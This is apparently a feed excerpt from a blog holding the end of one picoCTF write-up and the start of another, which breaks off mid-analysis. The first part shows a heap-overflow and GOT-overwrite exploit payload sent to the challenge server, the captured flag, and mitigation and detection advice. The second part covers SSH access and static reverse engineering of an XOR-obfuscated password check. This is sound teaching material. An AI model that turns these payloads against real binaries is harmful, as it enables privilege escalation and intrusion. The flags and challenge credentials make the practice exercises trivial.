&lt;code&gt;b'\x28\xc0\x04\x08'&lt;/code&gt; — &lt;code&gt;puts@GOT&lt;/code&gt; address in little-endian format&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;b'\xb6\x92\x04\x08'&lt;/code&gt; — &lt;code&gt;winner()&lt;/code&gt; address in little-endian format&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$(...)&lt;/code&gt; — shell command substitution, passes the raw bytes as the argument&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Local Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Enter two names separated by space:
Error opening flag.txt: No such file or directory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Why the error? Did it fail?&lt;/strong&gt; No — this is actually &lt;strong&gt;proof of success!&lt;/strong&gt; The error means execution reached &lt;code&gt;winner()&lt;/code&gt; and &lt;code&gt;fopen("flag.txt", "r")&lt;/code&gt; was called. The file simply doesn't exist on our local machine. The subsequent segfault is irrelevant — we already proved the control flow hijack works. The real flag lives on the remote server.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  3.3 Remote Exploitation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import sys; sys.stdout.buffer.write(b"A"*20 + b"\x28\xc0\x04\x08" + b" " + b"\xb6\x92\x04\x08" + b"\n")'&lt;/span&gt; | nc foggy-cliff.picoctf.net 59042
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking down the remote payload:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;b" "&lt;/code&gt; — the space separates &lt;code&gt;argv[1]&lt;/code&gt; from &lt;code&gt;argv[2]&lt;/code&gt; in the shell&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;b"\n"&lt;/code&gt; — newline signals end of input to the remote program&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;| nc&lt;/code&gt; — pipes our crafted input directly to the remote server&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;nc foggy-cliff.picoctf.net 59042&lt;/code&gt; — netcat connects to the challenge server on port 59042&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Enter two names separated by space:
FLAG: picoCTF{h34p_0v3rfl0w_ee4e60c2}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🎉 &lt;strong&gt;Flag captured: &lt;code&gt;picoCTF{h34p_0v3rfl0w_ee4e60c2}&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Privilege Escalation
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This was a pure binary exploitation challenge without a separate privilege escalation phase. The "escalation" here was the control flow hijack itself — moving from unprivileged user input to executing arbitrary code (&lt;code&gt;winner()&lt;/code&gt;) within the process. The flag was the final objective.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;However, the concepts demonstrated directly map to real-world privilege escalation scenarios:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GOT overwriting in SUID binaries&lt;/strong&gt; can escalate privileges from a regular user to root&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Heap exploitation&lt;/strong&gt; is a core technique in modern Linux kernel privilege escalation (e.g., DirtyCOW-class vulnerabilities)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  5. Lessons Learned &amp;amp; Mitigation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Key Takeaways for the Attacker/Learner
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Lesson&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Heap Overflow&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adjacent heap objects can be corrupted just like adjacent stack variables — the heap is not inherently safer than the stack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GOT Hijacking&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Any writable GOT entry is a potential code execution primitive in Partial RELRO binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Weaponizing Existing Code&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;We didn't need shellcode — we used &lt;code&gt;winner()&lt;/code&gt; which was already compiled into the binary (a basic form of Return-Oriented Programming philosophy)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;strcpy()&lt;/code&gt; is dangerous&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Always use &lt;code&gt;strncpy()&lt;/code&gt;, &lt;code&gt;strlcpy()&lt;/code&gt;, or better yet, &lt;code&gt;snprintf()&lt;/code&gt; with explicit size limits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Binary protections matter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Full RELRO + PIE + canaries together would have made this exploit significantly harder&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  5.2 Blue Team — How to Detect This
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Prevention (Developers):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// VULNERABLE:&lt;/span&gt;
&lt;span class="n"&gt;strcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="c1"&gt;// SAFE ALTERNATIVES:&lt;/span&gt;
&lt;span class="n"&gt;strncpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// Limit to buffer size minus null terminator&lt;/span&gt;
&lt;span class="c1"&gt;// or&lt;/span&gt;
&lt;span class="n"&gt;snprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"%s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Additionally, compile with full protections:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcc &lt;span class="nt"&gt;-o&lt;/span&gt; vuln vuln.c &lt;span class="nt"&gt;-fstack-protector-all&lt;/span&gt; &lt;span class="nt"&gt;-Wl&lt;/span&gt;,-z,relro,-z,now &lt;span class="nt"&gt;-fPIE&lt;/span&gt; &lt;span class="nt"&gt;-pie&lt;/span&gt;
&lt;span class="c"&gt;#                   ↑ stack canaries        ↑ Full RELRO              ↑ PIE enabled&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Detection (Blue Team / SOC):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Monitor for &lt;strong&gt;unexpected process crashes&lt;/strong&gt; (&lt;code&gt;SIGSEGV&lt;/code&gt;) associated with specific binaries — repeated crashes can indicate fuzzing/exploit attempts&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;heap integrity tools&lt;/strong&gt; like &lt;code&gt;valgrind --tool=memcheck&lt;/code&gt; in testing pipelines to catch out-of-bounds writes before deployment&lt;/li&gt;
&lt;li&gt;Implement &lt;strong&gt;application-layer logging&lt;/strong&gt; of argument lengths — abnormally long inputs to a program expecting short names are a red flag&lt;/li&gt;
&lt;li&gt;Consider deploying binaries with &lt;strong&gt;AddressSanitizer (ASan)&lt;/strong&gt; in staging environments to automatically detect heap overflows during QA&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.3 The Mental Model to Carry Forward
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Buffer overflow on the heap doesn't just crash programs —
it can surgically overwrite pointers, corrupt data structures,
and redirect execution to attacker-controlled code.

The key insight: treat every heap-allocated pointer near
a user-controlled buffer as a potential target.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Writeup authored following a systematic, iterative exploitation methodology. Every command was justified, every output analyzed, every dead end acknowledged.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>pwnchallenge</category>
      <category>ctfwriteup</category>
      <category>exploitdevelopment</category>
    </item>
    <item>
      <title>CTF Lab Writeup: "Bypass Me" — PicoCTF Binary Exploitation Challenge</title>
      <dc:creator>Vedant Kulkarni</dc:creator>
      <pubDate>Sun, 31 May 2026 08:45:04 +0000</pubDate>
      <link>https://dev.to/vedant_kulkarni_e1a6cdf3c/ctf-lab-writeup-bypass-me-picoctf-binary-exploitation-challenge-2j26</link>
      <guid>https://dev.to/vedant_kulkarni_e1a6cdf3c/ctf-lab-writeup-bypass-me-picoctf-binary-exploitation-challenge-2j26</guid>
      <description>&lt;h2&gt;
  
  
  1. Executive Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Challenge Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bypass Me&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Category&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Binary Exploitation / Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Difficulty&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Beginner–Intermediate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Target&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;bypassme.bin&lt;/code&gt; on &lt;code&gt;foggy-cliff.picoctf.net:53044&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primary Technique&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Static reverse engineering + XOR cipher decoding&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Key Vulnerability&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Runtime password decoded via trivial XOR cipher, fully recoverable through static analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tools Used&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ssh&lt;/code&gt;, &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;nm&lt;/code&gt;, &lt;code&gt;objdump&lt;/code&gt;, Python (mental model)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Flag Location&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Printed after successful password authentication&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  The Core Story
&lt;/h3&gt;

&lt;p&gt;A binary that &lt;em&gt;appears&lt;/em&gt; to be a secure, hardened authentication portal is completely defeatable through &lt;strong&gt;static analysis alone&lt;/strong&gt;. The password is never truly hidden — it is simply obfuscated using a single-byte XOR operation. By reading the assembly, we recovered the password without ever running a debugger, without brute force, and without guessing. This challenge teaches one of the most fundamental lessons in security: &lt;strong&gt;obfuscation is not encryption&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Reconnaissance &amp;amp; Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 Establishing Access
&lt;/h3&gt;

&lt;p&gt;The challenge provides SSH credentials directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh ctf-player@foggy-cliff.picoctf.net &lt;span class="nt"&gt;-p&lt;/span&gt; 53044
&lt;span class="c"&gt;# Password: 1ad5be0d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why SSH?
&lt;/h2&gt;

&lt;p&gt;The challenge specifies it explicitly. SSH (Secure Shell) provides an interactive remote shell session, allowing us to explore, execute, and analyze the target binary in its native environment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Breaking Down the Command
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ctf-player&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The username we're logging in as&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;foggy-cliff.picoctf.net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The remote hostname&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-p 53044&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Connect on port &lt;code&gt;53044&lt;/code&gt; instead of the default SSH port &lt;code&gt;22&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💡 Beginner Tip:&lt;/strong&gt; Always accept the host fingerprint the first time you connect to a CTF server. In a real production environment, you would verify the fingerprint through a trusted, out-of-band method. In a CTF environment, it is generally safe to type &lt;code&gt;yes&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  2.2 Initial File System Enumeration
&lt;/h3&gt;

&lt;p&gt;Once inside, the first thing we do is &lt;strong&gt;look around&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;ls -la&lt;/code&gt; and not just &lt;code&gt;ls&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-l&lt;/code&gt; → Long format: shows permissions, owner, size, and modification date&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-a&lt;/code&gt; → Shows hidden files (those starting with &lt;code&gt;.&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Output Analysis:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;-rwsr-xr-x 1 root root 21672 Mar  6 20:10 bypassme.bin
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The most critical piece of information here is the &lt;strong&gt;permission string: &lt;code&gt;-rwsr-xr-x&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That &lt;code&gt;s&lt;/code&gt; where you'd normally expect an &lt;code&gt;x&lt;/code&gt; for the owner execute bit is the &lt;strong&gt;SUID (Set User ID) bit&lt;/strong&gt;. This deserves its own explanation:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🔑 &lt;strong&gt;What is SUID?&lt;/strong&gt;&lt;br&gt;
Normally, when you run a program, it runs with &lt;em&gt;your&lt;/em&gt; permissions. When the SUID bit is set and the file is owned by &lt;code&gt;root&lt;/code&gt;, the program runs with &lt;strong&gt;root's permissions&lt;/strong&gt;, regardless of who launches it. This is how &lt;code&gt;sudo&lt;/code&gt; and &lt;code&gt;passwd&lt;/code&gt; work. In a CTF context, this tells us the binary can read files we cannot — like a flag file owned by root.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;What we did NOT do:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We did &lt;strong&gt;not&lt;/strong&gt; immediately try to exploit the SUID bit for privilege escalation (e.g., via &lt;code&gt;PATH&lt;/code&gt; injection or &lt;code&gt;LD_PRELOAD&lt;/code&gt;). Why? Because the challenge description told us the goal is to &lt;strong&gt;bypass authentication&lt;/strong&gt;, not necessarily escalate privileges. The SUID bit is simply the &lt;em&gt;mechanism&lt;/em&gt; by which the binary reads the flag file on our behalf.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  2.3 Binary Profiling
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file bypassme.bin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;file&lt;/code&gt;?&lt;/strong&gt; The &lt;code&gt;file&lt;/code&gt; command reads the &lt;strong&gt;magic bytes&lt;/strong&gt; at the beginning of a file and identifies its true type regardless of extension. This is essential before analysis.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;bypassme.bin: setuid ELF 64-bit LSB shared object, x86-64, dynamically linked, with debug_info, not stripped
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Parsing Every Field
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Meaning &amp;amp; Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setuid ELF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Confirms that the SUID bit is set. When executed, the binary runs with the privileges of its owner (in this case, &lt;code&gt;root&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;64-bit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Indicates that the program uses a 64-bit architecture and register set (&lt;code&gt;rax&lt;/code&gt;, &lt;code&gt;rdi&lt;/code&gt;, &lt;code&gt;rsi&lt;/code&gt;, etc.).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LSB&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stands for &lt;em&gt;Little-Endian Byte Order&lt;/em&gt;, the standard byte ordering used on most modern x86 systems.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;x86-64&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The binary targets the 64-bit Intel/AMD architecture. Most common reverse-engineering and debugging tools support this architecture natively.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;dynamically linked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The binary relies on shared libraries (such as &lt;code&gt;libc&lt;/code&gt;) at runtime. Functions like &lt;code&gt;strcmp()&lt;/code&gt; and &lt;code&gt;printf()&lt;/code&gt; are typically resolved from external libraries.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;with debug_info&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;A valuable finding.&lt;/strong&gt; Debug symbols are present, making reverse engineering and source-level debugging significantly easier.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;not stripped&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Another valuable finding.&lt;/strong&gt; Function names and other symbol information have been retained in the binary, improving readability during analysis.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Key Insight:&lt;/strong&gt; A "stripped" binary has had its symbol table removed, making reverse engineering significantly harder. A "not stripped" binary with "debug_info" is essentially giving us a roadmap. In a real-world malware scenario or hardened application, symbols would be stripped. This binary was compiled without stripping, which is a developer oversight.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  2.4 Runtime Behavior Observation
&lt;/h3&gt;

&lt;p&gt;Before touching any analysis tool, we always &lt;strong&gt;run the target&lt;/strong&gt; to understand its user-facing behavior:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./bypassme.bin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why run it first?&lt;/strong&gt; This gives us the "black box" view — what a normal user would see. We observed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An ASCII art banner ("SECURE PORTAL")&lt;/li&gt;
&lt;li&gt;A loading/initialization animation&lt;/li&gt;
&lt;li&gt;A password prompt with a &lt;strong&gt;3-attempt counter&lt;/strong&gt;: &lt;code&gt;[3 tries left] Enter password:&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What this tells us:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;There is a finite attempt limit — brute force via the normal interface is impractical&lt;/li&gt;
&lt;li&gt;The password prompt means there's a comparison somewhere in the code&lt;/li&gt;
&lt;li&gt;The 3-attempt limit is enforced &lt;em&gt;in software&lt;/em&gt; — meaning we can bypass it entirely by analyzing the binary rather than interacting with it&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;What we did NOT do:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We did &lt;strong&gt;not&lt;/strong&gt; try common passwords (&lt;code&gt;admin&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;1234&lt;/code&gt;). That would be guessing, not hacking.&lt;/li&gt;
&lt;li&gt;We did &lt;strong&gt;not&lt;/strong&gt; use &lt;code&gt;strings bypassme.bin&lt;/code&gt; as our primary approach. While &lt;code&gt;strings&lt;/code&gt; can sometimes reveal hardcoded passwords, a developer using even basic obfuscation (like XOR) would defeat it. We wanted a methodology that works even when &lt;code&gt;strings&lt;/code&gt; fails.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Initial Foothold — Static Reverse Engineering
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Symbol Table Analysis
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nm bypassme.bin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What is &lt;code&gt;nm&lt;/code&gt;?&lt;/strong&gt; The &lt;code&gt;nm&lt;/code&gt; command lists &lt;strong&gt;symbols&lt;/strong&gt; from an object file or binary. Symbols are named entries in the symbol table — they include function names, global variables, and external library references.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;nm&lt;/code&gt; before &lt;code&gt;objdump&lt;/code&gt;?&lt;/strong&gt; &lt;code&gt;nm&lt;/code&gt; gives us the complete &lt;em&gt;map&lt;/em&gt; of the binary's functions in seconds. It's the fastest way to understand the binary's structure before committing to deeper disassembly. Think of it as reading the table of contents before reading a book.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key findings from &lt;code&gt;nm&lt;/code&gt; output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="n"&gt;_Z15decode_passwordPc&lt;/span&gt;    &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;decode_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;_Z13auth_sequencev&lt;/span&gt;       &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;auth_sequence&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;_Z8sanitizePKcPc&lt;/span&gt;         &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;_Z8type_outPKcj&lt;/span&gt;          &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;type_out&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Name Mangling:&lt;/strong&gt; The &lt;code&gt;_Z15decode_passwordPc&lt;/code&gt; format is &lt;strong&gt;C++ name mangling&lt;/strong&gt;. The compiler encodes type information into function names. &lt;code&gt;_Z&lt;/code&gt; indicates a mangled name, &lt;code&gt;15&lt;/code&gt; is the length of the function name, &lt;code&gt;decode_password&lt;/code&gt; is the name, and &lt;code&gt;Pc&lt;/code&gt; means "pointer to char". You can demangle these with &lt;code&gt;c++filt _Z15decode_passwordPc&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;The most important symbol:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
